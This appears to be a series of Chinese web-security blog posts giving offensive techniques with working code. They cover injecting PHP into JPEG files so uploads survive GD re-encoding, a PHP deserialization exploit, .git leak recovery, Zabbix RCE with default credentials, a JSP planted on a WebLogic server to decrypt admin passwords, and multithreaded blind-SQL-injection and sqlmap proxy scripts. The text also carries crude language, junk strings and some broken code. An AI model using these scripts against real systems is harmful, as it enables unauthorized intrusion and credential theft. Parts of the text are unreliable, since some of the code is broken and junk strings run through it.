我吃你家米了 - Web安全

php GD库jpg注入

2021-07-21T00:00:00+02:00

参考链接：

前言

某些网站对用户上传的图片没有经过严谨的过滤，不限制文件后缀，只是将用户上传上来的图片使用PHP的gd库处理了一下：

<?php
(isset($argv[3]) ? $q = $argv[3] : $q = -1);
$jpg = imagecreatefromjpeg($argv[1]);
//imagejpeg ( resource $image [, mixed $to = NULL [, int $quality = -1 ]] ) : bool
imagejpeg($jpg, $argv[2], $q);
imagedestroy($jpg);
?>

我们可以通过上传正常图片，更改后缀为php，然后进行访问，根据显示的内容来判断目标是否使用了gd库：

绕过

对于这种处理方式，我们可以通过往图片中注入php代码来进行绕过

biaojigaoliang1直接往图片中追加php代码是不行的，这样会破坏图片的完整性，imagecreatefromjpeg在处理这样的图片时会抹除所有的字节，我们必须要在特定的位置进行代码的注入biaojigaoliang2

biaojigaoliang1关于这个问题，网上已经有前辈做了相关的研究，在jpg图片的Scan Header00 0C 03 01 00 02 11 03 11 00 3F 00后面插入代码有概率绕过gd库的imagecreatefromjpeg函数biaojigaoliang2

之所以说是有概率绕过，是因为在我实际测试的过程中，并不是所有的图片都可以成功注入，有些图片只在Scan Header后注入进了2~3个字节，后面的全变成了乱码，这个biaojigaoliang1具体原因我不清楚biaojigaoliang2

具体的绕过过程需要用到两个脚本：

php-gd.php：

<?php

//php gd.php image.jpg gd-image.jpg 0-100[optional]

(isset($argv[3]) ? $q = $argv[3] : $q = -1);
$jpg = imagecreatefromjpeg($argv[1]);
//imagejpeg ( resource $image [, mixed $to = NULL [, int $quality = -1 ]] ) : bool
imagejpeg($jpg, $argv[2], $q);
imagedestroy($jpg);
?>

jpeg-injector.py：

#!/usr/bin/python3
import sys
import binascii
import os

MAGIC_NUMBER = "03010002110311003f00"
BIN_MAGIC_NUMBER = binascii.unhexlify(MAGIC_NUMBER)

def main():
    path_to_vector_image = sys.argv[1]
    payload_code = "<?php phpinfo();?>"
    path_to_output = sys.argv[2]

    with open(path_to_vector_image, 'rb') as vector_file:
        bin_vector_data = vector_file.read()

        print("[ ] Searching for magic number...")
        magic_number_index = find_magic_number_index(bin_vector_data)

        if magic_number_index >=0:
            print("[+] Found magic number.")
            with open(path_to_output, 'wb') as infected_file:
                print("[ ] Injecting payload...")
                infected_file.write(
                    inject_payload(
                        bin_vector_data,
                        magic_number_index,
                        payload_code))
                print("[+] Payload written.")
        else:
            print("[-] Magic number not found. Exiting.")

def find_magic_number_index(
        data: bytes) -> int:
    return data.find(BIN_MAGIC_NUMBER)

def inject_payload(
        vector: bytes,
        index: int,
        payload: str) -> bytes:

    bin_payload = payload.encode()

    pre_payload = vector[:index + len(BIN_MAGIC_NUMBER)]
    post_payload = vector[index + len(BIN_MAGIC_NUMBER) + len(bin_payload):]

    return (pre_payload + bin_payload + post_payload)

if __name__ == "__main__":
    main()

由于并不是所有的图片都可以进行成功注入，我们可能需要大批量的进行测试，我编写了几个脚本来帮助简化测试

首先，将本机所有的jpg图片复制到同一个目录中：

sudo find / -name '*.jpg' -exec cp "{}" /tmp/jpgs  \;

然后我们需要将所有的图片用gd处理一下，因为注入之后我们还需要再gd处理一次，预处理是为了使图片的头部一致，便于对比

预处理脚本：

#!/bin/bash
search_dir="/tmp/jpgs"
for entry in "$search_dir"/*
do
  var1="/tmp/gdjpgs/"
  basenamefordiff=`basename $entry`
  dstfilename="$var1$basenamefordiff"
  php /tmp/php-gd.php $entry $dstfilename
  echo "$entry"
done

注入脚本：

#!/bin/bash
search_dir="/tmp/gdjpgs"
for entry in "$search_dir"/*
do
  var1="/tmp/injectedjpgs/"
  basenamefordiff=`basename $entry`
  dstfilename="$var1$basenamefordiff"
  python3 /tmp/jpeg-injector.py $entry $dstfilename
  echo "$entry"
done

再进行一次gd渲染：

#!/bin/bash
search_dir="/tmp/injectedjpgs"
for entry in "$search_dir"/*
do
  var1="/tmp/gdinjectedjpgs/"
  basenamefordiff=`basename $entry`
  dstfilename="$var1$basenamefordiff"
  php /tmp/php-gd.php $entry $dstfilename
  echo "$entry"
done

理论上来讲，预处理步骤可以省去，这个我没测试，XDM可以自行测试

查找注入成功的图片：

import binascii
import os

for root,dirs,files in os.walk(r"/tmp/gdinjectedjpgs"):
    for file in files:
        imagepath = os.path.join(root,file)
        with open(imagepath, 'rb') as f:
            hexdata = binascii.hexlify(f.read())
            ascii_string = hexdata.decode('utf-8')
            if ascii_string.find("3c3f70687020706870696e666f28293b3f3e") != -1:
                print("bingo!")
                print(imagepath)

其中3c3f70687020706870696e666f28293b3f3e是<?php phpinfo();?>的16进制对应的字符串，这个跟你前面在jpeg-injector.py中的第11行硬编码的payload的值有关

正常情况下，至少应该有一两个注入成功，如果一个都没有，你可能需要更多的jpg文件来进行测试

End

我不能直接把做好的图片放出来，懂的都懂

biaojigaoliang1另外，在本地使用gd进行图片的处理时最好使用和目标php版本一致的phpbiaojigaoliang2

PHP反序列化

2021-07-01T00:00:00+02:00

前言

100岁生日快乐！！！

noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga

参考链接：

正文

PHP的反序列化函数unserialize()接受两个参数

序列化字符串
选项

对于PHP开发者来说，选项只有一个，要么不设置，设置的话就只能是allowed_classes

定义了allowed_classes选项之后，只有被PHP允许的类才能够被反序列化，否则会被初始化为__PHP_Incomplete_Class

反序列化流程：

也就是说，只要我们的反序列化类实现了__wakeup或者__destruct中的任何一个方法，只要serialized方法反序列化了这样的对象，这两个方法就会被执行

反序列化一个对象需要满足一个前提

这个类一定是被预先定义过的

如果不满足这个前提，那么反序列化出来的类就是会被初始化为__PHP_Incomplete_Class，但是其类名和成员变量还是可以正常反序列化出来的，只是PHP认为他是一个没有被定义的类

php的serialized方法会保存被序列化的对象的所有属性（成员变量），有了这个，unserialize就能创建出一个原来的对象的copy

copy创建出来之后，PHP会搜索该对象的__wakeup方法，如果找到了该方法，就会执行其中的代码，该方法一般用来恢复数据库连接，因为序列化的对象在传输过程中可能已经和数据库失去了连接，需要在该方法中编写代码来重新初始化连接

然后就是对对象进行操作（调用对象的方法），最后销毁对象（调用__destruct方法）

一旦攻击者控制类传递给unserialize方法的序列化字符串，那么攻击者就能够控制对象的属性（成员变量）

biaojigaoliang1能够随心所欲的操作成员变量，就有可能控制程序执行的流程，进而达到RCEbiaojigaoliang2

利用反序列化漏洞需要两个前提：

反序列化的类一定要被预先定义
biaojigaoliang1该类一定要拥有魔术方法__wakeup或者__destruct，不管最终存不存在漏洞，如果没有这两个方法，你连注入代码的机会都没有biaojigaoliang2

例子

假如有下面这样一段代码：

<?php
class Fuck
{
    private $test;

    function __destruct()
    {
        system($this->test);
    }
}
$obj = unserialize(base64_decode(此处接收用户输入));

那么我们对应的exp就是：

<?php

class Fuck
{
    private $test = "hostname";
}

print(base64_encode(serialize(new Fuck)));

预防反序列化漏洞

限制反序列化或者白名单

//不允许反序列化对象（初始化出一个__PHP_Incomplete_Class对象），但是你仍然可以反序列化其他的数据结构，比如数组等
$object = unserialize($data, ['allowed_classes' => false]);

//白名单，只能反序列化白名单中的类
$whitelist = ['MyProject\\OtherNamespace\\ObjectAllowed'];
$object = unserialize($data, ['allowed_classes' => $whitelist]);

建议不要将用户输入用于反序列化

AWVS批量操作脚本

2021-06-30T00:00:00+02:00

前言

最近用AWVS+XRay联动扫描，但是需要针对扫描目标配置代理以及扫描类型

但是AWVS只支持逐个配置，很烦，就撸了一个小脚本，放出来XDM一起使用，如果有任何问题和改进建议，欢迎联系我邮箱

正文

完整脚本代码

代码的12~17行使我们需要配置的地方

你可以在此配置awvs地址、x-auth、待扫描目标、代理以及扫描类型

扫描类型是一个预定的字典，就在代码开头处定义

然后我定义了四个方法：

flirt，添加目标，以,分割的URL
kiss，配置目标
fuck，开始扫描
cum，停止并删除所有目标

这四个方法完全是孤立的，执行不分先后，根据自己的需求进行调用

效果如下：

关于.git泄露源代码的研究

2021-06-17T00:00:00+02:00

基础

我们先来通过手动进行git的底层操作来理解git的工作原理

git内置三种对象

blob（big large object），用于保存内容
tree，用于标识树结构
commit，用于保存每次提交

从创建对象到commit

新建一个空目录

mkdir /tmp/git-learn

进入该目录，执行git status，会得到一个报错

fatal: not a git repository (or any of the parent directories): .git

大意就是当前目录并不是一个git仓库，一个git仓库必要的两个组成部分：

.git/objects目录用于存储各种对象
一个对象命名系统——references

创建两个目录

mkdir -p .git/objects
mkdir .git/refs

另外，git分支命名在refs/heads/下，并且需要一个HEAD文件告诉git从哪里开始

mkdir .git/refs/heads
echo "ref: refs/heads/fuckyou" > .git/HEAD

再次执行git status

On branch fuckyou

No commits yet

nothing to commit (create/copy files and use "git add" to track)

可以看到仓库已经起来了，而且git显示当前分支为fuckyou，这个是通过读取.git/HEAD实现的

下面我们创建一个对象

echo "mom is not home!" | git hash-object -w --stdin

上面的命令会返回一个SHA-1值，并在objects目录下创建文件：

其中objects下的目录由之前返回的SHA-1值的前两个字符命名，剩下的字符作为文件名，这样是为了加快检索速度（biaojigaoliang1查找次数相较直接使用SHA-1值作为文件名降低了256倍biaojigaoliang2）

我们可以使用git cat-file -t SHA-1和git cat-file -p SHA-1来查看对象类型和内容

# git cat-file -t 9e5fc978467e4c222d99a35394abea5ce3deb5b7
blob
# git cat-file -p 9e5fc978467e4c222d99a35394abea5ce3deb5b7
mom is not home!

但是如果我们现在执行git status，我们会发现没有任何变化，因为没有任何被git追踪的文件

git是通过index文件获取该信息的，因此我们需要执行下面的命令来告知git

git update-index --add --cacheinfo 100644 9e5fc978467e4c222d99a35394abea5ce3deb5b7 pussy.txt

上面的100644是git定义的元数据描述，参考git/index-format.txt at master · git/git · GitHub

这条命令会创建出.git/index文件

此时我们发现了有趣的事情，git显示pussy.txt已经被追踪（绿色），但是同时又显示该文件被删除掉了（红色）

绿色是因为我们已经把信息写到了index中，红色是因为工作目录并不存在pussy.txt这个文件

git cat-file -p 9e5fc978467e4c222d99a35394abea5ce3deb5b7 > pussy.txt

好了，现在我们可以commit了，其实commit也是一个指针，它指向一个tree，因此我们需要先创建一个tree

git write-tree

上面的命令返回一个SHA-1值，我们可以看一下它的内容

# git cat-file -t 6d3bccf2a1660dcb2edd4a1d857430d3afdfd018
tree
# git cat-file -p 6d3bccf2a1660dcb2edd4a1d857430d3afdfd018
100644 blob 9e5fc978467e4c222d99a35394abea5ce3deb5b7    pussy.txt

可以看到它保存了pussy.txt的信息

git commit-tree 6d3bccf2a1660dcb2edd4a1d857430d3afdfd018 -m "commit to fuckyou"

我们看一下commit对象的内容

# git cat-file -t 33ce52386bdd577d12fa44daab7c60bfe59d356d
commit
# git cat-file -p 33ce52386bdd577d12fa44daab7c60bfe59d356d
tree 6d3bccf2a1660dcb2edd4a1d857430d3afdfd018
author Your Name <you@example.com> 1623955420 -0700
committer Your Name <you@example.com> 1623955420 -0700

commit to fuckyou

可以看到，它保存了tree以及committer的名字、邮箱以及说明信息

其实通过上面的说明，xdm大致应该能捋出来git的这几个对象的关系，其实就是下面这张图

现在我们再看git status，它还是说我们没有commit

biaojigaoliang1这是因为我们的branch没有指向我们刚才的commit，直接将commit的SHA-1值写到以分支命名的文件中即可biaojigaoliang2

echo 33ce52386bdd577d12fa44daab7c60bfe59d356d > .git/refs/heads/fuckyou

成功commit

# git status
On branch fuckyou
nothing to commit, working tree clean
# git log
commit 33ce52386bdd577d12fa44daab7c60bfe59d356d (HEAD -> fuckyou)
Author: Your Name <you@example.com>
Date:   Thu Jun 17 11:43:40 2021 -0700

    commit to fuckyou

切换分支

echo 33ce52386bdd577d12fa44daab7c60bfe59d356d > .git/refs/heads/test_branch

上面的命令创建出了新的分支test_branch，并将分支指向之前的那一次commit

修改.git/HEAD文件来切换分支

echo "ref: refs/heads/test_branch" > .git/HEAD

切换完成！

在新分支中进行提交

我们进行之前的创建和提交操作，不再赘述

# echo "just sister and brother" | git hash-object -w --stdin
9868cccd41c6f92f5e5686f4f6402e2bab966c71
# git cat-file -p 9868cccd41c6f92f5e5686f4f6402e2bab966c71 > dick.txt
# git update-index --add --cacheinfo 100644 9868cccd41c6f92f5e5686f4f6402e2bab966c71 dick.txt
# git write-tree
f5c2b44457b2b8efec70920736a6ac7e6c625b58
# git commit-tree f5c2b44457b2b8efec70920736a6ac7e6c625b58 -m "commit to test_branch"
d2ffbc5d12b816d98e1e5a770dd9f15081904358

最后再将我们的分支指向commit就行了

echo d2ffbc5d12b816d98e1e5a770dd9f15081904358 > .git/refs/heads/test_branch

.git泄露原理

biaojigaoliang1不管web服务器上的代码是是被push上去的还是从其他仓库pull下来的，只要.git目录可以不受限制的访问，就有可能完整还原所有的文件biaojigaoliang2

使用gin解析.git/index文件，可以获取所有文件的路径

python3 -m pip install gin
gin .git/index

通过SHA-1值，我们可以在objects目录中找到对应的文件

然后解压该文件即可还原原来的内容

import zlib
filename = '.git/objects/e2/7bb34b0807ebf1b91bb66a4c147430cde4f08f'
compressed_contents = open(filename, 'rb').read()
decompressed_contents = zlib.decompress(compressed_contents)
print decompressed_contents

objects目录下找不到对应文件

git并不会一直把文件存储在objects目录下面

举个例子，我们有一个12MB的文件，它被保存在.git/objects目录下，后来该文件被修改了一次，修改内容是在文件最后加了一个!

那么我们就相当于存了两个几乎一模一样的文件在磁盘中，他们两个占了24MB的空间，这是极大的浪费，当我们的项目逐渐增大时，继续使用这种方式对文件内容进行保存是非常低效的方式

为了解决这个问题，git会周期性地对objects下的文件进行pack，这个被称作GC，biaojigaoliang1被pack的文件会从objects中移除biaojigaoliang2

biaojigaoliang1gc的思想就是将文件保存为基文件和delta，delta就是一个描述文件，它描述了如何对基文件进行操作来生成新的文件biaojigaoliang2

biaojigaoliang1比如我们刚才新增一个!的情景，就可以分为一个12MB的基文件和一个小的可以忽略不计的deltabiaojigaoliang2

gc完成后，会在.git/objects/pack下生成两个文件，一个.idx和一个pack文件

在这种情况下，再按照之前的查找方式是无法恢复源文件的

biaojigaoliang1而且00git中并没有任何文件保存了pack文件名相关信息，因此，只要无法进行目录遍历且目标仓库进行了gc操作，就没办法还原所有的文件biaojigaoliang2

解析git的pack文件

虽然对于不存在目录便利的.git泄露来说，无从得知pack文件的文件名，但是对于存在目录遍历的情况，我们还是可以还原出原始文件内容的，下面就看一下如何解析pack文件

biaojigaoliang1本来我是想看一下pack文件解析的原理的，但是后来转念一想，完全没有必要，TortoiseGit它不香嘛biaojigaoliang2

不存在目录遍历的我们就不说了，对于存在目录遍历的.git泄露，可以先使用wget下载到本地，然后直接使用TortoiseGit打开

wget -c -r -l inf -np -L http://1.1.1.1/.git/

Tortoise使用方法如下，可以浏览完整的git仓库中的文件

references:

zabbix认证后的命令执行

2021-01-11T00:00:00+01:00

默认密码admin\zabbix

利用脚本：https://www.exploit-db.com/exploits/39937

根据可以自己更改脚本，设置两个参数，一个是url，一个是hostid

ZABIX_ROOT = sys.argv[1]
hostid = sys.argv[2]

hostid可以在此处获得：

另外脚本中的scriptid，需要是一个已经存在的id，我们可以先手动创建一个，然后更改脚本里的值

获取到scriptid之后，将利用脚本中的script替换一下即可，把下面这两个地方替换掉即可

执行效果

weblogic后台密码解密

2020-11-26T00:00:00+01:00

前言

前段时间复现weblogic的漏洞，从vulnhub上下载的漏洞环境，但是并没给出来weblogic的console登陆凭证，于是就想着解一下密码，顺便练个手

参考链接：

https://github.com/TideSec/Decrypt_Weblogic_Password

直接在目标服务器上解密

<%@page pageEncoding="utf-8"%>
<%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%>
<%
   EncryptionService es = null;
   ClearOrEncryptedService ces = null;
    String s = null;
    s= request.getParameter("pwd");
    es = SerializedSystemIni.getEncryptionService();
    if (es == null) {
       out.println("Unable to initialize encryption service");
        return;
    }
    ces = new ClearOrEncryptedService(es);
    if (s != null) {
        out.println("\nDecrypted Password is:" + ces.decrypt(s));
    }
%>

将上面的脚本保存成getpwd.jsp

执行find / -type f -name login.css

结果为/u01/oracle/wlserver/server/lib/consoleapp/webapp/css/login.css

将getpwd.jsp放到/u01/oracle/wlserver/server/lib/consoleapp/webapp/css目录中

执行find / -type f -name config.xml

结果为：/u01/oracle/user_projects/domains/base_domain/config/config.xml，打开该文件：找到node-manager-password-encrypted节点，复制值

然后访问：http://your-server-ip:7001/console/css/getpwd.jsp?pwd={AES}1KLAaXt2W+uL4Fv3jJsmWxvijbijh8jJwusvZEhlYJ4=

本地离线解密

执行find / -type f -name SerializedSystemIni.dat，结果为：/u01/oracle/user_projects/domains/base_domain/security/SerializedSystemIni.dat

将该文件下载下来保存到本地

然后下载解密工具

将上面获取的文件和config.xml中的密文填上去即可解密

SQL盲注相关技术

2020-07-24T00:00:00+02:00

前言

最近的工作中碰到了好几次SQL盲注，但是无奈sqlmap跑不出来，只能自己动手写脚本，开始使用的是1-128的ascii遍历，后来改成了二分，最后参考了网上别人的代码改成了多线程的形式

参考链接：

多线程SQL盲注脚本

import threading
import requests
import http.client
import urllib,parser

class MyThread(threading.Thread):
    def __init__(self, func, args):
        threading.Thread.__init__(self)
        self.func = func
        self.args = args
    def getresult(self):
        return self.res
    def run(self):
        self.res = self.func(*self.args)
def asc(a,i,payload):
    asci = 2**i

    conn = http.client.HTTPConnection("127.0.0.1")
    # 这里使用的是mysql的&运算符  
    # 根据与运算的特性， a&b  由于b总是1后面跟n个0的形式，因此如果a>=b，则结果必为b
    #所以这个方法返回的总是第一个大于或者等于的值，由这些数字相加，总是能得出正确的字符串所对应的ASCII值
    URL33 = """/sqli-labs-master/Less-5/?id=1'and ascii(substr((select version()),ejndgvtuohjsduiofjgbnld,1))%26ejndgvsdasdasdatuohjsduiofjgbnld=ejndgvsdasdasdatuohjsduiofjgbnld%23"""




    url2 = URL33.replace("""ejndgvtuohjsduiofjgbnld""", str(a))
    url3 = url2.replace("""ahosidjkfhaihaifdiasudifdiasudiasudais""", str(asci))
    print(url3)
    conn.request("GET",url3)
    response = conn.getresponse()
    asdasdasd = response.read().decode("utf-8")
    print("this is asdasdasd----------->\t" + str(response.status))

    if len(asdasdasd) > 12300:
        return asci
    return 0

def main():
    payload = ""
    a=1
    f=True
    char = ''
    while f:
        threads = []
        sum = 0
        #尝试开启12个线程
        for i in range(0,12):
            t = MyThread(asc, (a, i%8, payload))
            threads.append(t)
        for i in range(0,8):
            threads[i].start()
        for i in range(0,8):
            threads[i].join()
            sum = sum + threads[i].getresult()
        print("sum ------>\t" + str(sum))
        if sum ==0:
            f = False
        char = char +chr(sum)
        a = a+1
        print("this is version()------>\t" + char)
    print(char)
if __name__ == '__main__':
    main()

下面是python3的http.client模块的详细使用方法的代码：

import http.client
import urllib,parser
# # 初始化一个 https 链接
conn = http.client.HTTPSConnection("www.python.org")
# 指定 request 请求的方法和请求的链接地址
conn.request("GET","/doc/")
# 得到返回的 http response
r1 = conn.getresponse()
# HTTP 状态码
print(r1.status,r1.reason)
# HTTP 头部
print(r1.getheaders())
# body 部分
print(r1.read())
# 如果连接没有关闭,打印输出前 200 个字节
if not r1.closed:
 print(r1.read(200))
# 关闭连接后才能重新请求
conn.close()    
# 请求一个不存在的文件或地址
conn.request("GET","/parrot.spam")
r2 = conn.getresponse()
print(r2.status,r2.reason)
conn.close()
# 使用 HEAD 请求,但是不会返回任何数据
conn = http.client.HTTPSConnection("www.python.org")
conn.request("HEAD","/")
res = conn.getresponse()
print(res.status,res.reason)
data = res.read()
print(len(data))
conn.close()
# 使用 POST 请求,提交的数据放在 body 部分
params = urllib.parse.urlencode({'@number':12524,'@type':'issue','@action':'show'})
# post 请求数据,要带上 Content-type 字段,以告知消息主体以何种方式编码
headers = {"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}
conn = http.client.HTTPConnection("bugs.python.org")
conn.request("POST","/",params,headers)
response = conn.getresponse()
# 获取http头
location_value = response.getheader("location")
# 访问被重定向
print(response.status,response.reason)
print(response.read().decode("utf-8"))
conn.close()

sqlmap代理跑盲注

前段时间碰到的一个站，万能密码直接登了进去，sqlmap一把梭但是只跑出了时间忙注，太慢了，所以手动测量了一下存在bool盲注，标志是302跳转的location字段的值，自己用单线程的二分跑太慢，用上面的多线程跑的时候却发现目标站对请求参数中的&处理的有问题，正常情况下进行一下url编码就可以正常进行，但是这个网站就很奇怪，只要用了&就会被当成请求参数的连接符，最后实在没招了，请教了CMDY（~现在还没有链接，以后会有的~）大佬一波，使用如下方法成功跑出bool注入，这样直接使用sqlmap的threads参数指定线程数就行了（毕竟自己太菜写出来的多线程跑的结果乱七八糟）

首先使用python运行如下脚本，在本地的88端口跑起来一个http服务器，然后使用sqlmap跑本地服务器的注入，本地服务器再使用sqlmap传过来的payload去请求目标站点，然后将相应包头部的location字段的值作为响应包的内容返回给sqlmap，这样就可以成功跑出来bool盲注了

#coding:utf-8
# 导入Flask类
import http.client
import urllib,parser
from flask import Flask
from flask import render_template
from flask import request
# 实例化，可视为固定格式
app = Flask(__name__)

# route()方法用于设定路由；类似spring路由配置
@app.route('/helloworld', methods = ['GET', 'POST'])
def hello_world():
    user = request.form["user"]
    pass = request.form["pass"]
    conn = http.client.HTTPSConnection("test.com")
    headers = {"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}
    params = urllib.parse.urlencode({"user":user,"pass":pass})
    conn.request("POST","/test/login",params,headers)
    response = conn.getresponse()
    location_value = response.getheader("location")
    if location_value:
        print(location_value)
        return location_value
    else:
        return "null"

if __name__ == '__main__':
    app.run(host="127.0.0.1, port=88)

sqlmap命令：

python3 sqlmap.py -u http://127.0.0.1:88/helloworld --random-agent --data="user=admin&pass=admin' or '1'='1" -p user_name --dbms=mysql --technique=B --delay=3 -v 6 --risk=3

后记

编程能力相当重要！！！！！